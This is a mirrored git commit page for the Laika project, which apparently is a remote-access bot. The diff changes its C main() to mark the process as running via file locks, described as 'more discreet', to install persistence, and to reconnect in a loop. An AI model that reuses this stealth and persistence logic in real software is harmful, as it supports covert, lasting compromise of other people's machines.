1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-11 18:30:08 +00:00

Linux: implemented laikaB_markRunning() & laikaB_unmarkRunning()

- switched to file locks as that's more discreet
    - tied to LAIKA_PERSISTENCE being defined
This commit is contained in:
2022-04-16 22:56:05 -05:00
parent d94a6a5e17
commit b60203d3f2
4 changed files with 42 additions and 34 deletions

View File

@@ -10,10 +10,11 @@
int main(int argv, char *argc[]) {
struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE
laikaB_markRunning();
/* install persistence */
laikaB_tryPersist();
#ifdef LAIKA_PERSISTENCE
do {
#endif
bot = laikaB_newBot();
@@ -33,6 +34,8 @@ int main(int argv, char *argc[]) {
#ifdef LAIKA_PERSISTENCE
sleep(5);
} while (1);
laikaB_unmarkRunning();
#endif
return 0;